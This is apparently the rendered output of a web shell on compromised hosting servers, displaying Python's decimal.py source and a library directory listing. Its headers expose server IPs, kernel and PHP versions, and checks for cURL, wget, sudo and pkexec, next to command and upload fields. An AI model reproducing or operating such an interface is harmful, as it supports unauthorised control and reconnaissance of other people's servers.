Server IP : 192.250.235.76 / Your IP : 45.90.210.12
System : Linux s2968.sgp1.stableserver.net 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
PHP Version : 8.2.29
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
1902120114081995
Server IP : 198.54.116.172 / Your IP : 216.73.216.36
System : Linux server322.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Upload Files :
Command :
Current File : /opt/alt/python312/lib64/python3.12//decimal.py
"""Decimal fixed-point and floating-point arithmetic.
This is an implementation of decimal floating-point arithmetic based on
the General Decimal Arithmetic Specification:
http://speleotrove.com/decimal/decarith.html
and IEEE standard 854-1987:
http://en.wikipedia.org/wiki/IEEE_854-1987
Decimal floating point has finite precision with arbitrarily large bounds.
The purpose of this module is to support arithmetic using familiar
"schoolhouse" rules and to avoid some of the tricky representation
issues associated with binary floating point. The package is especially
useful for financial applications or for contexts where users have
expectations that are at odds with binary floating point (for instance,
in binary floating point, 1.00 % 0.1 gives 0.09999999999999995 instead
of 0.0; Decimal('1.00') % Decimal('0.1') returns the expected
Decimal('0.00')).
Here are some examples of using the decimal module:
>>> from decimal import *
>>> setcontext(ExtendedContext)
>>> Decimal(0)
Decimal('0')
>>> Decimal('1')
Decimal('1')
>>> Decimal('-.0123')
Decimal('-0.0123')
>>> Decimal(123456)
Decimal('123456')
>>> Decimal('123.45e12345678')
Decimal('1.2345E+12345680')
>>> Decimal('1.33') + Decimal('1.27')
Decimal('2.60')
>>> Decimal('12.34') + Decimal('3.87') - Decimal('18.41')
Decimal('-2.20')
>>> dig = Decimal(1)
>>> print(dig / Decimal(3))
0.333333333
>>> getcontext().prec = 18
>>> print(dig / Decimal(3))
0.333333333333333333
>>> print(dig.sqrt())
1
>>> print(Decimal(3).sqrt())
1.73205080756887729
>>> print(Decimal(3) ** 123)
4.85192780976896427E+58
>>> inf = Decimal(1) / Decimal(0)
>>> print(inf)
Infinity
>>> neginf = Decimal(-1) / Decimal(0)
>>> print(neginf)
-Infinity
>>> print(neginf + inf)
NaN
>>> print(neginf * inf)
-Infinity
>>> print(dig / 0)
Infinity
>>> getcontext().traps[DivisionByZero] = 1
>>> print(dig / 0)
Traceback (most recent call last):
...
...
...
decimal.DivisionByZero: x / 0
>>> c = Context()
>>> c.traps[InvalidOperation] = 0
>>> print(c.flags[InvalidOperation])
0
>>> c.divide(Decimal(0), Decimal(0))
Decimal('NaN')
>>> c.traps[InvalidOperation] = 1
>>> print(c.flags[InvalidOperation])
1
>>> c.flags[InvalidOperation] = 0
>>> print(c.flags[InvalidOperation])
0
>>> print(c.divide(Decimal(0), Decimal(0)))
Traceback (most recent call last):
...
...
...
decimal.InvalidOperation: 0 / 0
>>> print(c.flags[InvalidOperation])
1
>>> c.flags[InvalidOperation] = 0
>>> c.traps[InvalidOperation] = 0
>>> print(c.divide(Decimal(0), Decimal(0)))
NaN
>>> print(c.flags[InvalidOperation])
1
>>>
"""
try:
from _decimal import *
from _decimal import __version__
from _decimal import __libmpdec_version__
except ImportError:
from _pydecimal import *
from _pydecimal import __version__
from _pydecimal import __libmpdec_version__
Name
Size
Last Modified
Owner / Group
Permissions
Options
.. -- July 22 2025 09:06:57 root / root 0755 __pycache__ -- July 22 2025 09:03:56 root / linksafe 0755 asyncio -- July 22 2025 09:03:56 root / linksafe 0755 collections -- July 22 2025 09:03:56 root / linksafe 0755 concurrent -- July 22 2025 09:03:56 root / linksafe 0755 config-3.12-x86_64-linux-gnu -- July 22 2025 09:06:57 root / linksafe 0755 ctypes -- July 22 2025 09:03:56 root / linksafe 0755 curses -- July 22 2025 09:03:56 root / linksafe 0755 dbm -- July 22 2025 09:03:56 root / linksafe 0755 email -- July 22 2025 09:03:56 root / linksafe 0755 encodings -- July 22 2025 09:03:56 root / linksafe 0755 ensurepip -- July 22 2025 09:03:56 root / linksafe 0755 html -- July 22 2025 09:03:56 root / linksafe 0755 http -- July 22 2025 09:03:56 root / linksafe 0755 importlib -- July 22 2025 09:03:56 root / linksafe 0755 json -- July 22 2025 09:03:56 root / linksafe 0755 lib-dynload -- July 22 2025 09:03:56 root / linksafe 0755 lib2to3 -- July 22 2025 09:07:11 root / linksafe 0755 logging -- July 22 2025 09:03:56 root / linksafe 0755 multiprocessing -- July 22 2025 09:03:56 root / linksafe 0755 pydoc_data -- July 22 2025 09:03:56 root / linksafe 0755 re -- July 22 2025 09:03:56 root / linksafe 0755 site-packages -- July 22 2025 09:03:56 root / linksafe 0755 sqlite3 -- July 22 2025 09:03:56 root / linksafe 0755 tomllib -- July 22 2025 09:03:56 root / linksafe 0755 unittest -- July 22 2025 09:03:56 root / linksafe 0755 urllib -- July 22 2025 09:03:56 root / linksafe 0755 venv -- July 22 2025 09:03:56 root / linksafe 0755 wsgiref -- July 22 2025 09:03:56 root / linksafe 0755 xml -- July 22 2025 09:03:56 root / linksafe 0755 xmlrpc -- July 22 2025 09:03:56 root / linksafe 0755 zipfile -- July 22 2025 09:03:56 root / linksafe 0755 zoneinfo -- July 22 2025 09:03:56 root / linksafe 0755 LICENSE.txt 13.609 KB June 03 2025 15:41:47 root / linksafe 0644 __future__.py 5.096 KB June 23 2025 13:48:52 root / linksafe 0644 __hello__.py 0.222 KB June 23 2025 13:48:52 root / linksafe 0644 _aix_support.py 3.927 KB June 23 2025 13:48:49 root / linksafe 0644 _collections_abc.py 31.337 KB June 23 2025 13:48:37 root / linksafe 0644 _compat_pickle.py 8.556 KB June 23 2025 13:48:48 root / linksafe 0644 _compression.py 5.548 KB June 23 2025 13:48:37 root / linksafe 0644 _markupbase.py 14.31 KB June 23 2025 13:48:37 root / linksafe 0644 _osx_support.py 21.507 KB June 23 2025 13:48:50 root / linksafe 0644 _py_abc.py 6.044 KB June 23 2025 13:48:51 root / linksafe 0644 _pydatetime.py 89.929 KB June 23 2025 13:48:51 root / linksafe 0644 _pydecimal.py 221.956 KB June 23 2025 13:48:36 root / linksafe 0644 _pyio.py 91.399 KB June 23 2025 13:48:37 root / linksafe 0644 _pylong.py 10.537 KB June 23 2025 13:48:37 root / linksafe 0644 _sitebuiltins.py 3.055 KB June 23 2025 13:48:37 root / linksafe 0644 _strptime.py 27.728 KB June 23 2025 13:48:51 root / linksafe 0644 _sysconfigdata__linux_x86_64-linux-gnu.py 74.759 KB June 23 2025 13:58:24 root / linksafe 0644 _sysconfigdata_d_linux_x86_64-linux-gnu.py 74.755 KB June 23 2025 13:51:17 root / linksafe 0644 _threading_local.py 7.051 KB June 23 2025 13:48:37 root / linksafe 0644 _weakrefset.py 5.755 KB June 23 2025 13:48:36 root / linksafe 0644 abc.py 6.385 KB June 23 2025 13:48:37 root / linksafe 0644 aifc.py 33.409 KB June 23 2025 13:48:51 root / linksafe 0644 antigravity.py 0.488 KB June 23 2025 13:48:37 root / linksafe 0644 argparse.py 98.784 KB June 23 2025 13:48:49 root / linksafe 0644 ast.py 62.941 KB June 23 2025 13:48:50 root / linksafe 0644 base64.py 20.164 KB June 23 2025 13:48:37 root / linksafe 0755 bdb.py 32.786 KB June 23 2025 13:48:48 root / linksafe 0644 bisect.py 3.343 KB June 23 2025 13:48:36 root / linksafe 0644 bz2.py 11.569 KB June 23 2025 13:48:50 root / linksafe 0644 cProfile.py 6.415 KB June 23 2025 13:48:36 root / linksafe 0755 calendar.py 25.258 KB June 23 2025 13:48:49 root / linksafe 0644 cgi.py 33.625 KB June 23 2025 13:48:50 root / linksafe 0755 cgitb.py 12.13 KB June 23 2025 13:48:52 root / linksafe 0644 chunk.py 5.371 KB June 23 2025 13:48:37 root / linksafe 0644 cmd.py 14.524 KB June 23 2025 13:48:36 root / linksafe 0644 code.py 10.705 KB June 23 2025 13:48:37 root / linksafe 0644 codecs.py 36.006 KB June 23 2025 13:48:37 root / linksafe 0644 codeop.py 5.77 KB June 23 2025 13:48:36 root / linksafe 0644 colorsys.py 3.967 KB June 23 2025 13:48:37 root / linksafe 0644 compileall.py 20.026 KB June 23 2025 13:48:36 root / linksafe 0644 configparser.py 52.528 KB June 23 2025 13:48:37 root / linksafe 0644 contextlib.py 26.989 KB June 23 2025 13:48:36 root / linksafe 0644 contextvars.py 0.126 KB June 23 2025 13:48:48 root / linksafe 0644 copy.py 8.215 KB June 23 2025 13:48:37 root / linksafe 0644 copyreg.py 7.436 KB June 23 2025 13:48:50 root / linksafe 0644 crypt.py 3.821 KB June 23 2025 13:48:37 root / linksafe 0644 csv.py 16.002 KB June 23 2025 13:48:37 root / linksafe 0644 dataclasses.py 60.63 KB June 23 2025 13:48:50 root / linksafe 0644 datetime.py 0.262 KB June 23 2025 13:48:52 root / linksafe 0644 decimal.py 2.739 KB June 23 2025 13:48:49 root / linksafe 0644 difflib.py 81.414 KB June 23 2025 13:48:37 root / linksafe 0644 dis.py 29.519 KB June 23 2025 13:48:37 root / linksafe 0644 doctest.py 104.247 KB June 23 2025 13:48:37 root / linksafe 0644 enum.py 79.629 KB June 23 2025 13:48:37 root / linksafe 0644 filecmp.py 10.138 KB June 23 2025 13:48:37 root / linksafe 0644 fileinput.py 15.346 KB June 23 2025 13:48:37 root / linksafe 0644 fnmatch.py 5.858 KB June 23 2025 13:48:37 root / linksafe 0644 fractions.py 37.253 KB June 23 2025 13:48:36 root / linksafe 0644 ftplib.py 33.921 KB June 23 2025 13:48:37 root / linksafe 0644 functools.py 37.051 KB June 23 2025 13:48:52 root / linksafe 0644 genericpath.py 5.441 KB June 23 2025 13:48:52 root / linksafe 0644 getopt.py 7.313 KB June 23 2025 13:48:50 root / linksafe 0644 getpass.py 5.85 KB June 23 2025 13:48:36 root / linksafe 0644 gettext.py 20.82 KB June 23 2025 13:48:50 root / linksafe 0644 glob.py 8.527 KB June 23 2025 13:48:36 root / linksafe 0644 graphlib.py 9.422 KB June 23 2025 13:48:36 root / linksafe 0644 gzip.py 24.807 KB June 23 2025 13:48:50 root / linksafe 0644 hashlib.py 9.13 KB June 23 2025 13:48:51 root / linksafe 0644 heapq.py 22.484 KB June 23 2025 13:48:36 root / linksafe 0644 hmac.py 7.535 KB June 23 2025 13:48:37 root / linksafe 0644 imaplib.py 52.773 KB June 23 2025 13:48:49 root / linksafe 0644 imghdr.py 4.295 KB June 23 2025 13:48:50 root / linksafe 0644 inspect.py 124.146 KB June 23 2025 13:48:48 root / linksafe 0644 io.py 3.498 KB June 23 2025 13:48:37 root / linksafe 0644 ipaddress.py 79.506 KB June 23 2025 13:48:49 root / linksafe 0644 keyword.py 1.048 KB June 23 2025 13:48:50 root / linksafe 0644 linecache.py 5.664 KB June 23 2025 13:48:37 root / linksafe 0644 locale.py 76.757 KB June 23 2025 13:48:48 root / linksafe 0644 lzma.py 12.966 KB June 23 2025 13:48:51 root / linksafe 0644 mailbox.py 77.062 KB June 23 2025 13:48:48 root / linksafe 0644 mailcap.py 9.114 KB June 23 2025 13:48:36 root / linksafe 0644 mimetypes.py 22.497 KB June 23 2025 13:48:48 root / linksafe 0644 modulefinder.py 23.144 KB June 23 2025 13:48:37 root / linksafe 0644 netrc.py 6.76 KB June 23 2025 13:48:37 root / linksafe 0644 nntplib.py 40.124 KB June 23 2025 13:48:36 root / linksafe 0644 ntpath.py 31.566 KB June 23 2025 13:48:36 root / linksafe 0644 nturl2path.py 2.318 KB June 23 2025 13:48:50 root / linksafe 0644 numbers.py 11.198 KB June 23 2025 13:48:51 root / linksafe 0644 opcode.py 12.865 KB June 23 2025 13:48:52 root / linksafe 0644 operator.py 10.708 KB June 23 2025 13:48:48 root / linksafe 0644 optparse.py 58.954 KB June 23 2025 13:48:50 root / linksafe 0644 os.py 39.864 KB June 23 2025 13:48:36 root / linksafe 0644 pathlib.py 49.855 KB June 23 2025 13:48:49 root / linksafe 0644 pdb.py 68.663 KB June 23 2025 13:48:37 root / linksafe 0755 pickle.py 65.343 KB June 23 2025 13:48:37 root / linksafe 0644 pickletools.py 91.848 KB June 23 2025 13:48:37 root / linksafe 0644 pipes.py 8.768 KB June 23 2025 13:48:50 root / linksafe 0644 pkgutil.py 17.853 KB June 23 2025 13:48:37 root / linksafe 0644 platform.py 42.385 KB June 23 2025 13:48:37 root / linksafe 0755 plistlib.py 27.678 KB June 23 2025 13:48:36 root / linksafe 0644 poplib.py 14.276 KB June 23 2025 13:48:36 root / linksafe 0644 posixpath.py 17.073 KB June 23 2025 13:48:37 root / linksafe 0644 pprint.py 23.592 KB June 23 2025 13:48:37 root / linksafe 0644 profile.py 22.564 KB June 23 2025 13:48:37 root / linksafe 0755 pstats.py 28.603 KB June 23 2025 13:48:37 root / linksafe 0644 pty.py 5.993 KB June 23 2025 13:48:36 root / linksafe 0644 py_compile.py 7.653 KB June 23 2025 13:48:49 root / linksafe 0644 pyclbr.py 11.129 KB June 23 2025 13:48:36 root / linksafe 0644 pydoc.py 110.861 KB June 23 2025 13:48:37 root / linksafe 0755 queue.py 11.227 KB June 23 2025 13:48:50 root / linksafe 0644 quopri.py 7.028 KB June 23 2025 13:48:50 root / linksafe 0755 random.py 33.876 KB June 23 2025 13:48:36 root / linksafe 0644 reprlib.py 6.98 KB June 23 2025 13:48:37 root / linksafe 0644 rlcompleter.py 7.644 KB June 23 2025 13:48:52 root / linksafe 0644 runpy.py 12.583 KB June 23 2025 13:48:36 root / linksafe 0644 sched.py 6.202 KB June 23 2025 13:48:49 root / linksafe 0644 secrets.py 1.938 KB June 23 2025 13:48:37 root / linksafe 0644 selectors.py 19.21 KB June 23 2025 13:48:37 root / linksafe 0644 shelve.py 8.359 KB June 23 2025 13:48:49 root / linksafe 0644 shlex.py 13.04 KB June 23 2025 13:48:51 root / linksafe 0644 shutil.py 55.432 KB June 23 2025 13:48:49 root / linksafe 0644 signal.py 2.437 KB June 23 2025 13:48:49 root / linksafe 0644 site.py 22.654 KB June 23 2025 13:48:48 root / linksafe 0644 smtplib.py 42.524 KB June 23 2025 13:48:37 root / linksafe 0755 sndhdr.py 7.273 KB June 23 2025 13:48:50 root / linksafe 0644 socket.py 36.929 KB June 23 2025 13:48:51 root / linksafe 0644 socketserver.py 27.407 KB June 23 2025 13:48:52 root / linksafe 0644 sre_compile.py 0.226 KB June 23 2025 13:48:37 root / linksafe 0644 sre_constants.py 0.227 KB June 23 2025 13:48:36 root / linksafe 0644 sre_parse.py 0.224 KB June 23 2025 13:48:37 root / linksafe 0644 ssl.py 49.711 KB June 23 2025 13:48:48 root / linksafe 0644 stat.py 5.356 KB June 23 2025 13:48:49 root / linksafe 0644 statistics.py 49.05 KB June 23 2025 13:48:37 root / linksafe 0644 string.py 11.51 KB June 23 2025 13:48:50 root / linksafe 0644 stringprep.py 12.614 KB June 23 2025 13:48:37 root / linksafe 0644 struct.py 0.251 KB June 23 2025 13:48:37 root / linksafe 0644 subprocess.py 86.667 KB June 23 2025 13:48:36 root / linksafe 0644 sunau.py 18.045 KB June 23 2025 13:48:37 root / linksafe 0644 symtable.py 12.185 KB June 23 2025 13:48:50 root / linksafe 0644 sysconfig.py 31.104 KB June 23 2025 13:48:49 root / linksafe 0644 tabnanny.py 11.274 KB June 23 2025 13:48:50 root / linksafe 0755 tarfile.py 109.822 KB June 23 2025 13:48:37 root / linksafe 0755 telnetlib.py 22.787 KB June 23 2025 13:48:37 root / linksafe 0644 tempfile.py 31.627 KB June 23 2025 13:48:36 root / linksafe 0644 textwrap.py 19.256 KB June 23 2025 13:48:36 root / linksafe 0644 this.py 0.979 KB June 23 2025 13:48:37 root / linksafe 0644 threading.py 58.789 KB June 23 2025 13:48:49 root / linksafe 0644 timeit.py 13.161 KB June 23 2025 13:48:37 root / linksafe 0755 token.py 2.452 KB June 23 2025 13:48:36 root / linksafe 0644 tokenize.py 21.064 KB June 23 2025 13:48:49 root / linksafe 0644 trace.py 28.678 KB June 23 2025 13:48:36 root / linksafe 0755 traceback.py 45.306 KB June 23 2025 13:48:49 root / linksafe 0644 tracemalloc.py 17.624 KB June 23 2025 13:48:50 root / linksafe 0644 tty.py 1.987 KB June 23 2025 13:48:36 root / linksafe 0644 types.py 10.735 KB June 23 2025 13:48:36 root / linksafe 0644 typing.py 116.051 KB June 23 2025 13:48:50 root / linksafe 0644 uu.py 7.169 KB June 23 2025 13:59:33 root / linksafe 0644 uuid.py 28.961 KB June 23 2025 13:48:37 root / linksafe 0644 warnings.py 21.396 KB June 23 2025 13:48:37 root / linksafe 0644 wave.py 22.235 KB June 23 2025 13:48:37 root / linksafe 0644 weakref.py 21.009 KB June 23 2025 13:48:49 root / linksafe 0644 webbrowser.py 23.189 KB June 23 2025 13:48:50 root / linksafe 0755 xdrlib.py 5.803 KB June 23 2025 13:48:52 root / linksafe 0644 zipapp.py 7.366 KB June 23 2025 13:48:37 root / linksafe 0644 zipimport.py 27.188 KB June 23 2025 13:48:49 root / linksafe 0644